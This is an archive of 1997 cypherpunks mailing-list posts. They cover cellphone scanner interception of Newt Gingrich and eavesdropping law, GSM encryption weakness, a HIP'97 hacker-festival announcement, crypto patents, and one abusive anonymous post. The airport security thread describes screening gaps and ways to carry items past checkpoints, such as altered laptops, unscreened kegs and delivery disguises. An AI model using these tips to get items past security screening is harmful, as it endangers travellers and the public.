> The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"
> stated today that he was parked in the lot of a Waffle House in Lake City
> FL.  The couple said that they just happened to be driving by when they
> overheard and began taping the conversation.

Interesting.  In California, operating a scanner while driving is illegal.
Of course it was probably the passenger running the scanner.

I've always wanted to scan cell-phone callers while driving next to them
on 101.  Even in Silicon Valley it'd be pretty wierd to have a sinister
looking guy in the car next to you pointing a black box with an antenna
at you...

> I have a problem with making it illegal to listen to parts of the
> electromagnetic spectrum.  Seems sort of unnatural.

I think that blowing your mouth off about what you've heard
by scanning cellular traffic is what's illegal.  Or more illegal
than merely listening anyhow.

>  Maybe they will decide
> that people who can see the color green will go to jail next ;-)
> Technological solutions are much more elegant.  Of course, they are not
> nearly as sexy as legal remedies (I can't wait to see if the congressman who
> gave it to the Times is indicted!)

Given that they've just pissed on some seriously powerful people I'd
expect that the fools who made the tape and gave it to the Democratic
congresscritter and then HAD A NEWS CONFERENCE about it are going to
be in some deep shit.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 14 Jan 1997 19:27:44 -0800 (PST)
To: Brad Dolan <michael.tighe@Central.Sun.COM>
Subject: Re: Newt's phone calls
Message-ID: <199701150327.TAA04637@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:56 PM 1/14/97 -0500, Brad Dolan wrote:
>Mmmm.  I'm told that, on most cellphone calls, a scanner will present both
>sides of the conversation on the same frequency.  Usually one side will be
>louder.  Perhaps there's some feedback from a party's receiver back into
>his transmitter?

It's called duplex echo.  Whenever you convert 2-wire audio to 4-wire (two 
pair) you're going to get a reflection.  The cell-phone company can't 
perfectly match the impedances connecting to the local  phonecos, and so a 
little signal gets reflected.  Actually, this is desireable locally because 
it acts as feedback to the speaker, as long as the reflection is kept within 
reason.   The result is that both sides of the communication are hearable in 
the radio signals.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Maurice Wessling" <info@hip97.nl>
Date: Tue, 14 Jan 1997 10:19:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: [HIP] Hacking In Progress 1997
Message-ID: <199701141819.TAA18108@magigimmix.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


Announcing HIP'97:  A hacker convention and festival in the 
Netherlands on the 8th, 9th and 10th of August 1997.


Version: 8 January 1997

Latest news at http://www.hip97.nl/


What is HIP?
------------

HIP is an acronym for `Hacking In Progress'. It will take place on 
the Friday 8th, Saturday 9th and Sunday 10th of August 1997 at 
campsite Kotterbos, Aakweg, Almere in The Netherlands.

Remember `Hacking at the End of the Universe' (HEU) in 1993? 
The people that published Hack-Tic, a computer underground 
magazine in The Netherlands, organized it. Hundreds of 
hackers, phone phreaks, programmers, computer haters, data 
travellers, electro-wizards, networkers, hardwarefreaks, techno-
anarchists, communications junkies, cyber- and cypherpunks, 
system managers, stupid users, paranoid androids, Unix gurus, 
whizz kids and warez dudes spent three days building their own 
network between their tents in the middle of nowhere, located 
in the Flevopolder in The Netherlands.

HIP will be the sequel to HEU. A campsite full of PCs, laptops, 
and Unix machines, all connected via an intertent Ethernet that 
is connected to the Internet. People from all over the 
Netherlands and other countries will come together to learn and 
discuss the benefits, as well as the risks of new technologies. 
They'll listen to lectures, join workshops, enjoy special 
presentations and, last but not least, party, all of this in a 
friendly open-air environment of a very wired campsite far away 
from the civilized world.

HIP will happen on the same days as `Beyond Hope', a hacker 
convention in New York, organized by the people of 2600 
Magazine (http://www.2600.com/). There will be audio and 
video links between both events, and we're working on cool 
gadgets to further enhance your sense of `grassroots 
telepresence'. This will be a twin-event in the true sense of the 
word.

Who is organizing HIP?
----------------------

Once there was a little magazine in The Netherlands called 
`Hack-Tic', and it published wild ways to play tricks on the 
information infrastructure of the world. The magazine doesn't 
exist anymore, but most of the people that wrote articles for the 
magazine or helped organize Hacking at the End of the Universe 
(1993) and even some of the people that helped put up the 
Galactic Hacker Party (1989) are still in touch with each other. 
The every-four-year-itch has gotten to us again...

It's going to be quite a project to organize something that is 
better than HEU, but we're not facing it alone. We'll get lots of 
people to help us.
The hackers that were present at HEU have successfully 
infiltrated in key positions to aid in the upcoming political 
takeover as was agreed. Many have the agreed-upon provisions 
in their job contracts since 1993, stating they would need time 
off for the final strategic meeting.

HIPcamp and HIPnet
------------------

There'll be no hotel rooms or anything like that so you'll want to 
bring at least a tent and a sleeping bag to HIP, even if this 
means you can't bring the paper-tape unit that came with your 
VAX 11/780. We'll supply a campground, toilets, showers, good 
food and electrical power (as close to 220V/50Hz as possible) 
and we'll do our best to supply everyone who wants it with an 
Ethernet connection. You will probably be able to trade wiring, 
extra outlets, Ethernet cards, and the use of modular crimping 
tools for almost anything.
HIPcamp will open on August 5th, three days before HIP starts. 
If you decide to join in that early expect pretty primitive 
circumstances. If you don't care about that, or think that's the 
best part, you can help build HIPnet and all other facilities.

HIP stuff
---------

A lot can and will happen in the coming months, and we'll keep 
adding new topics even during the event itself. But we're 
definitely going to discuss the legal situation regarding 
encryption, as well as the latest technical developments in this 
field. The current decay of the Usenet, copyright issues, 
censorship as well as many other legislative, social political and 
technical issues surrounding Internet will be discussed. 
Computer security, or the lack thereof will also be a hot topic. 
We'll have research workshops (i.e. GSM and chipcard security) 
and you can also join many `how-to' workshops and lectures 
where you can pick up on Linux (Unix you can run at home, not 
built by Microsoft), perl (a very powerful computer language) 
and many, many other topics.

Tired of all these lectures and workshops: just sit down, smoke or 
drink socially accepted substances, interact with other humans, 
volunteer for kitchen work and have a good time. We've had 
people at the previous event that were not into computers at all, 
and they had fun.

We'd like to receive as many ideas from you as possible at this 
stage. So if you (and some of your friends) want to organize a 
lecture or workshop, please let us know. If you keep having this 
wacky dream about some project or construction that would work 
really well in an environment with lots of other freaks, this is your 
call to action. We dream of an event with thousands of creators 
and no audience.

No audience?
------------

We'll try to offer different ways for the Internet population to 
truly interact with the events at HIP. Please get in touch if you'll 
have some friends at your house and you want to have CU-
SeeMe or other connections to us. We'll also be broadcasting 
live and buffered feeds of audio and video on the net. Mass-
media coverage will be provided for the interactively challenged.

I want to be HIP too!
---------------------

Don't worry: you can be! Just visit our web site at 
http://www.hip97.nl/ and use the form to subscribe to the 
announcement mailing list. It's spam-free and will only carry 
HIP announcements written by us. You can also participate in 
the ongoing, yet slightly messy debate in the newsgroup 
alt.hacking.in.progress. If you can't find the newsgroup don't 
contact us. Refresh the grouplist in your newsreader or ask your 
access provider to check their newsfeed.

As time slides by we'll have separate mailing lists for the 
preparation of research workshops, pictures and maps of the 
campsite and more detailed descriptions of workshops and 
lectures. If you think we're forgetting anything, please let us 
know.

If you don't have access to the web you can subscribe to the 
announcement mailing list by sending an email message to

    majordomo@hip97.nl

with the line

    subscribe hip-announce your_email_address

in the body of the message.

Announcements will also be posted in alt.hacking.in.progress.

How to get to HIP
-----------------

HIP will happen at campsite `Kotterbos', Aakweg, close to a city 
called Almere in the Netherlands. The campsite is at about a 30-
minute drive from Amsterdam, along highway A6 to Lelystad. 
The nearest train station, Almere-Buiten, is four kilometers 
away. More information and maps will be on the website when 
the time comes.

Press
-----

All press is welcome to visit HIP, but there will be a few strict 
rules. All members of the press will pay the entrance fee, no 
discussion about this. There will be a part of the campsite that 
is off-limits to all press. No filming, photographing or recording 
is to take place there. Some people like to have a press-free 
moment, some have employment-related reason for shunning 
media attention.

What else?
----------

Many more things could be said but it is still a bit early. The 
main networking tent and the bar will be open 24 hours a day 
and we'll have a depository to stash your laptops, backpacks 
and other valuables. We haven't figures out the exact entrance 
fee, but, just like HEU, HIP is going to be a non-profit event. 
And if you haven't guessed it yet: All workshops and plenary 
events will take place in English.

How to get in contact with us
-----------------------------

Most of your questions can be answered by visiting our website 
at http://www.hip97.nl/

Subscribe yourself to the mailing list and read 
alt.hacking.in.progress. If you have ideas or proposals mail 
them to info@hip97.nl or snailmail us:

Hacking In Progress
Postbus 1035
1000 BA  Amsterdam
The Netherlands

Fax: +31 (0)20-5352082

What to do with this announcement
---------------------------------

Please forward it to your friends or post it to appropriate mailing 
lists. Be sure to get the next version by subscribing to our 
mailing list.


See you at HIP!


EOF



--
Hacking In Progress 1997
http://www.hip97.nl/
info@hip97.nl




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 23:39:11 -0800 (PST)
To: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Subject: Re: Newt's phone calls
Message-ID: <3.0.1.32.19970114191444.00645c38@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:58 PM 1/14/97 -0600, Michael Tighe SUN IMP wrote:
>Bill Stewart writes:
>>Tapping cellphones is more trouble than tapping wired phones -
>>they move around, and to tap them from the phone company end
>>requires taps everywhere that you activate when you know where
>>somebody is.
>Exactly. So how come mom&pop with a scanner were able to record BOTH sides
>of the conversation without interruption? 

Tapping the wire part is what's hard; the radio part (for analog
cell phones) isn't that tough.  That makes the "legitimate needs
of law enforcement" (blech!) at some disadvantage compared to
people who just want to have fun listening in on the radio.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 23:41:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <3.0.1.32.19970114192154.006327e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:58 PM 1/14/97 -0800, Eric Blossom wrote, correctly:
>> Eavesdropping on cellphones is illegal, since there's an expectation of
>> privacy.
>Ummm,  Eavesdropping on cellphones is illegal, because it's illegal.
>See the Electronic Communication Privacy Act (ECPA).  Since when does
>anybody talking on a *radio* have an expectation of privacy?

OK, more precisely, the justification for cellphone eavesdropping
being illegal and cordless phone eavesdropping not being illegal
was that there's an expectation of privacy from cellphones
("they're from the Phone Company") but not from cordless (everybody
with early cordless phones knew they could receive their neighbor's
calls if they used the same channel.)

>Listening in on normal cordless phones is also now illegal, as a
>result of the Communication Assistance to Law Enforcement Act 
>(Digital Telephony).
Good point.

The latest word from Louis Freeh is that he's all gung-ho to 
investigate the CRIMINAL grandma&grandpa who were EAVESDROPPING
on Newt's phone calls.  Of course, if _he'd_ been eavesdropping
on Newt's phone calls, or yours, it would have been the "legitimate
needs of law enforcement" at work.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 15 Jan 1997 00:00:43 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Airport security [no such thing]
Message-ID: <3.0.1.32.19970114194213.006468c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:23 PM 1/14/97 -0800, Lucky Green wrote:
>As most readers probably know, laptops are often subject to manual
>scrutiny. From my non-representative sample, about four out of five tote
>bags clearly containing laptops will be manually searched. 

It's extremely airport, guard, and moon-phase dependent.
Some places are real picky, some aren't.  I've started following
someone's advice about having the laptop go through vertically;
it doesn't look like a big opaque block to them, and they can see
the rest of the stuff.  When I tried it in Orlando, they said
"It has to go through lying down", ran it back through lying down,
said "Computer", I said "Yup", and they handed it to me :-)

>Typically, the attendant requires that the laptop is powered up. 
>In none of the 20+ manual searches I witnessed did the security personnel 
>wait past the RAM check before clearing the passenger.  I could not help 
>but contemplate how much of the insides of the laptop could be replaced 
>while still obtaining an identical display.

I've convinced a number of guards to be satisfied by the little
LCD-battery-status display that shows it's on and charged (and asleep) 
without having to actually boot it up (which now that I'm running NT,
which doesn't really understand power-management, is a big win...)
The two batteries could be replaced with <illegal joke deleted> and the 
little 5-minute keepalive battery could run that display just fine.
It wouldn't take much more to get the main LCD screen to look convincing.
On the other hand, there are places that have Real Security Guards;
I have a photo of the ceiling of an Israeli bus station where I had
to demonstrate that my camera really was camera-like.

>Then came the big one: A man wearing a beer truck driver uniform approached
>the checkpoint. On his hand truck were two kegs of beer. 

....
>I was flabbergasted. They let a man with two *large steel containers* enter
>unchecked? No asking for ID, no X-ray? I struck up a conversation with the
>beer truck driver. I asked him why the kegs did not get X-rayed. He looked
>at me with an expression of utter lack of understanding and answered: "They
>are too heavy to be put on the [conveyor] belt."

Yow!  (And also - it's nice that people can occasionally do sensible
things even if they're against regulations :-)  But you would expect them
to have a guard escort the guy to the bar (requiring someone to come back
later and take the beer out of the false bottom of the keg.

You can already get away with being almost anywhere by being dressed as a 
pizza deliverer or air-conditioner mechanic or clipboard-carrier; 
I guess beer-deliverer needs to be added to the list.  As long as you act
like you belong somewhere....

A more serious example of getting away with things by looking like you're
doing something your supposed to be doing was the man who walked out
of Nazi Germany carrying a ladder (as told to me by someone else
who'd left Germany.)  Nobody thought to question him, and it was an era
that a laborer not having a truck was normal...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 14 Jan 1997 20:28:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701150427.UAA12861@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:02 PM 1/14/97 -0800, Bill Stewart wrote:
>>>I just caught the news reports of Newt Gingrich's cell phone calls being
>>>taped by "a little old retired couple" with a scanner.  These were then
>>>given to a congressman, who gave them to a newspaper.
>
>Eavesdropping on cellphones is illegal, since there's an expectation of
>privacy.

I disagree.  Not that cellphone eavesdropping is illegal, it is; I disagree 
that the REASON it is illegal is some sort of expectation of privacy.  

And I also disagree that there is any expectation of privacy.  If anything, 
the opposite should be true:  Unless a person was (falsely) under the 
impression that the radio signals were encrypted (which, in itself, requires 
that a person be technologically-literate enough to be aware of the 
technical possibility that radio CAN BE encrypted, but also implies knowing that 
they might not be...) then the very fact that the signals go by radio would 
imply the possibility of reception by others with reasonably simple radios.  







Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 14 Jan 1997 20:28:20 -0800 (PST)
To: Greg Broiles <iang@cs.berkeley.edu (Ian Goldberg)
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701150427.UAA12865@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:47 PM 1/13/97 -0800, Greg Broiles wrote:

> Presumably the RC5 patent (if one is awarded) won't suffer from
>the peculiarities of the international patent schemes which made RSA only
>patentable in the US.


"Pecularities"?  If anything, the peculiarities would have been within _US_ 
law, and not international law. 

As I understand it, most people cite the requirement that an invention 
patent must be applied-for BEFORE disclosure as a requirement for most 
international patents, which explained by RSA wasn't patented outside of the 
US.  Alone, that would have denied non-US patents to RSA.   However, such an 
explanation grandly ignores the fact that computer software (let alone 
mathematics in general) was not considered patentable ANYWHERE (?) before 
public-key systems made their appearance in 1976.

It also ignores the strong likelihood that the reason for the Patent-Office 
policy change (done, apparently, without benefit of a corresponding law 
change) was because with public-key/RSA there was finally an example of 
software the government wished to deny to the average citizen, and the only 
mechanism (short of secrecy, which was broken) to do so was to patent it.  

I'm still waiting for an "innocent" explanation for the US patent office 
beginning to issue software patents.  I don't think there is one.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 17 Jan 1997 13:12:02 -0800 (PST)
To: gtaylor@gil.com.au
Subject: Re: Newt's phone calls
In-Reply-To: <199701162147.HAA12921@iccu6.ipswich.gil.com.au>
Message-ID: <199701142026.UAA00127@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Greg Taylor <gtaylor@gil.com.au> writes:
> After following this thread for some time, I have to question whether
> Americans realise how far behind the rest of the world they are in
> cellphone technology.
> 
> Most of the world has been using GSM digital technology for some years
> now, with automatic international roaming, unless you travel to the USA.

> No one in their right mind uses an analogue mobile phone any more if they 
> are concerned about eavesdropping.  The Newt incident simply could not 
> happen with GSM.
> 
> Of course in most countries the government controls the federal police, 
> not the other way round.  

Using GSM would add protection against casual eavesdroppers, but would
not provide that high a degree of protection.

GSM encrypts only the links to the station - the traffic goes in the
clear through the station.  Plus A5 (crypto algorithm used in GSM) is
weak, 40 bits of effective key space.

It could be worse to have poor crypto, than no crypto,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Majordomo@asterix.xs4all.nl
Date: Tue, 14 Jan 1997 11:31:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Welcome to hip-announce
Message-ID: <199701141930.UAA20521@asterix.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


--

Welcome to the hip-announce mailing list!

If you ever want to remove yourself from this mailing list,
you can send mail to "Majordomo@asterix.xs4all.nl" with the following command
in the body of your email message:

    unsubscribe hip-announce cypherpunks@toad.com

Here's the general information for the list you've
subscribed to, in case you don't already have it:

[Last updated on: Fri Dec 13 20:30:42 1996]

Welcome to HIP announce!

This mailinglist will only be used for regular announcements about major
developments in the preparation for Hacking In Progress 1997. Only the
list-owner will post to this list and it will be guaranteed low-volume.

Up-to-date information about the HIP can be found at our website
http://www.hip97.nl

Please report any problems to info@hip97.nl

See you at the HIP!

Maurice Wessling





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 18:44:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Exporting Virus Software
In-Reply-To: <3.0.32.19970113210258.006ade10@192.100.81.126>
Message-ID: <32DC60FE.5B14@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:

> What's really going on here is that the NSA wants to know exactly
> what's out there in terms of virus protection and security software,
> so that if they need to release a virus or something they know exactly
> how to work around the defenses people are using.  You're not going to
> too many export applications denied for this kind of stuff.  It's more
> just a way for them to know exactly what's going on in that realm.

  Regulation for the purpose of knowing 'everything'.
  The original purpose of the InterNet was for the DOD to be able to 
eavesdrop on and monitor the movement and communications of scientists,
educators, and other hi-level movers and shakers in the world of the
intellect.
  When some of those using the InterNet refused to place their 'trust'
in the DOD's benevolence in making this technology available, choosing
to use it only for low-level communications, the DOD began exhorting
the wonders of 'data encryption', as a way to ensure InterNet users
of the privacy and security of their hi-level communications.
  With 'encryption', even the 'doubters' felt secure in the knowledge
that they could now communicate anything, at any level, and know that
their communications were 'safe' from unwanted disclosure.

  Then came a 'fly in the ointment'.
  A little shit-hole punk, non-DOD-non-NSA-schill named Phil Zimmerman
came out with an encrytpion program that the DOD did 'not' already have
the capability to read--one that they could 'not' break.
  All of a sudden, export of cryptography became a grand issue.  Why?
  ?Encryption software was already existent outside of the U.S.
  ?Encryption software was already being exported from the U.S.
  ?Encryption software was already available to all of those labeled
    by the U.S. government as 'enemies' who should be 'denied' use
    of this software.
  So why was Phil Zimmerman's 'backyard' encrytion program such a
threat to the powers-that-be?  Because they didn't already have the 
key to read it, and they couldn't break it--it wasn't an Enigma.
  It was the Inaugural Enigma.

  And export regulations for Virus protection programs?
  What reason can 'you' think of for the U.S. government not wanting
others to have 'full' protection from computer virus'?
  'Whose' virus is the U.S. goverment concerned about others having
protection from?

  Now that Phil Zimmerman has his legal problems 'sorted out', I
hope that he doesn't decide to write a virus protection program.
  It might 'work'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 14 Jan 1997 18:08:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701150150.UAA15413@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy `C' May is so full of shit that some of it bursts out on 
this mailing list.

           /\        /\
          +  \______/  +
             / .  . \
            <   /    >
             \ \--/ /
              ------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 14 Jan 1997 17:46:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: another idea?
In-Reply-To: <853262592.523172.0@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970114204550.1313B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 14 Jan 1997 paul@fatmans.demon.co.uk wrote:

> Am I to presume that we will be putting something in the "welcome to 
> cypherpunks" message people get when they join to tell them how to 
> subscribe to the uncensored list?

- From the "welcome message":

I. Administrivia (please read, boring though it may be)

The cypherpunks list is one of three lists discussing
cryptography, privacy, and social issues relating to them.  The three
lists are:

	cypherpunks		moderated to suppress spam and flames
	cypherpunks-unedited	all submissions, just as they arrived
	cypherpunks-flames	the submissions that didn't pass moderation

All of these lists are high-volume mailing lists.  

> or are we going to have  
> yet more censorship on this list which is rapidly degenerating 
> into a playground of illuminati and elite censors???

This list is rapidly degenerating into something, but it's not "a playground of
illuminati and elite censors".


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtw32CzIPc7jvyFpAQFU0wf9H77cGP3nfVfogGqy3r+PHxOVVmpivLbK
0d8b/5ay7H6KGpvivXdV+YwqVLu75hLm59H7zPZBb0387R8T/cISg3AznP5F1upP
IJDA36ebKWIIHOcLMOkwAIkQq8yI/xWCtvp4DInoC2VL4HbzFcjQbLaO6+up3KDK
mNLslx6vWFtNGzGbxvOrMvyfm/2UJseYLnvkm0YOWmpdLqJiakEh1FED2UbWhHig
KpJq1XLyjaT7ahEscN2oo6iWglOWikXRatFHGipqCgpNLqjA8uSaHifvO/dtAP09
Xy1z+hax0lnEiid0izqaCFpcr1jhEB89Ylk/iYgBAeZB+3UzvZVXow==
=kJwv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 17 Jan 1997 13:12:02 -0800 (PST)
To: asgaard@Cor.sos.sll.se
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.HPP.3.91.970116094730.28526B-100000@cor.sos.sll.se>
Message-ID: <199701142051.UAA00139@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Asgaard <asgaard@cor.sos.sll.se> writes:
> On Sun, 12 Jan 1997, Adam Back wrote:
> 
> >[...]  Anyone know how modular the design is, for instance if
> >it would be possible to give a GSM A5 based cell phone a crypto upgrade
> >using published electrical interface standards?  (I want one of those -
> >Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)
> 
> I don't understand what you are getting at here.
> This would demand cooperation from the cell phone provider,
> with a compatible device at the other end of the airwaves.

If you super-encrypted the IDEA encrypted traffic with A5, it should
not require cooperation of the cell phone provider.  You always need a
capable device at the other end.  If the phone at the other end isn't
IDEA/RSA/DH capable, you can fall back to only A5.

My question about electrical interfaces was wondering if the above
could be acheived by producing a plugable mini-smartcard, or
desolderable IC which would allow this to be done with standard GSM
phones.

> Then the call would go unencrypted through much of the
> system until it reached the callee's current cell sender
> anyway. GSM is alledgedly A5 encrypted only in the air.
> 
> And if A5 is a 'decent' algorithm or not is up to discussion.
> It hasn't been up on the list for a long time now but from
> earlier discussions I remember that the latest versions of
> A5, if not 'strong' in a crypto anarchy sense, are susceptible
> to attack only from very sophisticated adversaries and certainly
> not from Newt's 'couple'.

Not from Newt's eavesdroppers sure, but it wouldn't cost that much for
someone who wanted the traffic.  40 bits of effective key space at
most,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Tue, 14 Jan 1997 18:59:27 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970114210400.0b2fe9a6@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970114205641.457A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Clay Olbon II wrote:

> The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"

A woman on the radio ABC news this morning said,
"Congressman...BONER?...Bahner is reportidly..." My guess is that someone
spelt it incorrectly on her sheet. ;)

> I have a problem with making it illegal to listen to parts of the
> electromagnetic spectrum.  Seems sort of unnatural.  Maybe they will decide
> that people who can see the color green will go to jail next ;-)
> Technological solutions are much more elegant.  Of course, they are not
> nearly as sexy as legal remedies (I can't wait to see if the congressman who
> gave it to the Times is indicted!)

Seems like a good issue to site when trying to push remailers, eh? :)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 14 Jan 1997 21:36:18 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Newt's phone calls
Message-ID: <3.0.32.19970114213642.006f62bc@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 02:48 PM 1/14/97 -0800, Alan Bostick wrote:
>(Someone mentioned that they thought cordless phone intercepts weren't 
>illegal the way cellular phone intercepts are.  IANAL, but I recall that
>intercepting both was made illegal by the same legislation.)

It is illegal to intercept cell phone calls. It is legal under federal law
to intercept cordless phones.

IANAL,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jovi@telnor.net
Date: Tue, 14 Jan 1997 21:49:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701150547.VAA06996@telnor.net>
MIME-Version: 1.0
Content-Type: text/plain


I can not undestand why are you using my e mail adress to recibe your mail.

>From what i see you are a hacker, and you are using some body space to work with 
no charge.

Please avoid the use of my space.

thnks.
Lic. Jose Luis Vital V.
Telefonos del Noroeste,S.A. de C.V.
Ave. Pio Pico 2001, Zona Centro,
Tijuana,B.C., México.
Tel.: (66) 33.22.91
Fax.: (66) 33.22.44
Internet E-mail: jovi@telnor.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 14 Jan 1997 20:05:43 -0800 (PST)
To: dcsb-dist <rah@shipwright.com>
Subject: DCSB: The Internet Consumer -- 1996 in Review & Predictions for1997
Message-ID: <v03007801af01f45e92d3@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents
				        David Kaufman
	                         FIND/SVP
                 Emerging Technologies Research Group

  "The Internet Consumer -- 1996 in Review & Predictions for 1997"



                        Tuesday, February 4, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA


David is Managing Director of FIND/SVP's Emerging Technologies Research
Group with specific responsibility for "The Internet Consumer - Continuous
Market Advisory Service".

The group provides numerous Fortune 500 companies with detailed research and
analysis on behaviors and preferences of Internet consumers.

Mr. Kaufman will discuss the Internet as a consumer platform.   The growth
of the Internet has been getting a lot of press, most of it based
on speculation, not research.   Although good data is hard to find, it
does exist and can be used to approach the Interactive consumer.

During 1996 it became true that Internet consumers, who paid for
their own access, were one of the fastest growing market segments.
Currently, home and small business users are driving the demand for
interactive services such as online banking and financial planning.
Users also expressed an interest in locating information on such
diverse topics as travel, entertainment, parenting, and health.

Starting in 1997 consumers will be able to access the net from more
numerous locations and in different ways.  Internet appliances such as
WebTV will allow non-technology users to access the net.  As critical mass
develops, the net will become impossible to ignore for most marketers.
Based on research and some industry insight, Mr. Kaufman will present
FIND/SVP's predictions for the Internet Consumer in 1997 and beyond.

Prior to joining FIND/SVP's Emerging Technologies Research Group, David
was with BIS Strategic Decisions (now GIGA Information Group) at the time
it was a division of NYNEX Corporation. He has been employed by Metaphor
Computer Systems and XEROX Corporation in the marketing of the first
technology products from the Palo Alto Research Center.  David is a
Graduate of the University of Wisconsin.



This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, February 4, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

